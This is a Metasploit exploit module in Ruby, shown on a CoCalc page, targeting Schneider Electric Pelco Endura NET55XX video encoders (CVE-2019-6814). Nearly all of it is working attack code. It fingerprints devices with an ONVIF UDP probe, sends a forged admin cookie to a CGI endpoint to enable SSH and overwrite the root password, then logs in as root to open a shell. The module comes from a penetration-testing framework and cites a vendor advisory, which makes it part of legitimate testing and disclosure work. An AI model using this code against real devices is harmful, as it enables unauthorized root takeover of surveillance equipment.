Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Auxiliary::Report
12
include Msf::Exploit::Remote::SSH
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Schneider Electric Pelco Endura NET55XX Encoder',
19
'Description' => %q{
20
This module exploits inadequate access controls within the webUI to enable
21
the SSH service and change the root password. This module has been tested successfully
22
on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Lucas Dinucci <[email protected]>',
27
'Vitor Esperança <[email protected]>'
28
],
29
'References' => [
30
['CVE', '2019-6814'],
31
['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
32
],
33
'Payload' => {
34
'Compat' => {
35
'PayloadType' => 'cmd_interact',
36
'ConnectionType' => 'find'
37
}
38
},
39
'Platform' => 'unix',
40
'Arch' => ARCH_CMD,
41
'Targets' => [ [ 'Universal', {} ] ],
42
'Privileged' => true,
43
'DisclosureDate' => '2019-01-25',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
56
OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
57
]
58
)
59
60
register_advanced_options(
61
[
62
OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
63
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
64
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
65
]
66
)
67
end
68
69
def new_password
70
datastore['NEW_PASSWORD']
71
end
72
73
def check
74
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
75
'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
76
'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
77
'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
78
'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
79
'<a:ReplyTo>'\
80
'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
81
'</a:ReplyTo>'\
82
'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
83
'</Header>'\
84
'<Body>'\
85
'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
86
'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
87
'</Probe>'\
88
'</Body>'\
89
'</Envelope><?xml version="1.0" encoding="UTF-8"?>'
90
91
connect_udp(true, { 'RPORT' => datastore['UDP_PORT'] })
92
udp_sock.put(xmlPayload)
93
resp = []
94
resp << udp_sock.get(datastore['TIMEOUT'])
95
xmlResponse = resp.join(',')
96
disconnect_udp
97
if xmlResponse.include?('NET5501') || xmlResponse.include?('NET5501-I') || xmlResponse.include?('NET5501-XT') || xmlResponse.include?('NET5504') || xmlResponse.include?('NET5500') || xmlResponse.include?('NET5516') || xmlResponse.include?('NET5508')
98
return Exploit::CheckCode::Appears
99
end
100
101
CheckCode::Safe
102
end
103
104
def change_password
105
print_status("#{peer} - Attempt to change the root password...")
106
post = { enable: true, passwd: new_password, userid: 'root' }.to_json
107
108
login = send_request_cgi({
109
'method' => 'POST',
110
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
111
'data' => post,
112
'headers' =>
113
{
114
'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
115
'Content-Type' => 'application/json;charset=utf-8'
116
}
117
}, timeout = datastore['TIMEOUT'])
118
119
fail_with(Failure::UnexpectedReply, 'Failed to change root password') unless login && login.code == 200
120
print_good("#{rhost}:80 - Successfully changed the root password...")
121
print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
122
end
123
124
def do_login
125
change_password
126
print_status("#{rhost}:22 - Attempt to start a SSH connection...")
127
opts = ssh_client_defaults.merge({
128
auth_methods: ['password', 'keyboard-interactive'],
129
port: 22,
130
password: new_password
131
})
132
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
133
begin
134
ssh = nil
135
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
136
ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
137
end
138
rescue Rex::ConnectionError
139
rescue Net::SSH::Disconnect, ::EOFError
140
print_error "#{rhost}:22 SSH - Disconnected during negotiation"
141
rescue ::Timeout::Error
142
print_error "#{rhost}:22 SSH - Timed out during negotiation"
143
rescue Net::SSH::AuthenticationFailed
144
print_error "#{rhost}:22 SSH - Failed authentication"
145
rescue Net::SSH::Exception => e
146
print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
147
end
148
if ssh
149
conn = Net::SSH::CommandStream.new(ssh, logger: self)
150
return conn
151
end
152
end
153
154
def exploit
155
conn = do_login
156
if conn
157
print_good("#{rhost}:22 - Session established ")
158
handler(conn.lsock)
159
end
160
end
161
end
162
163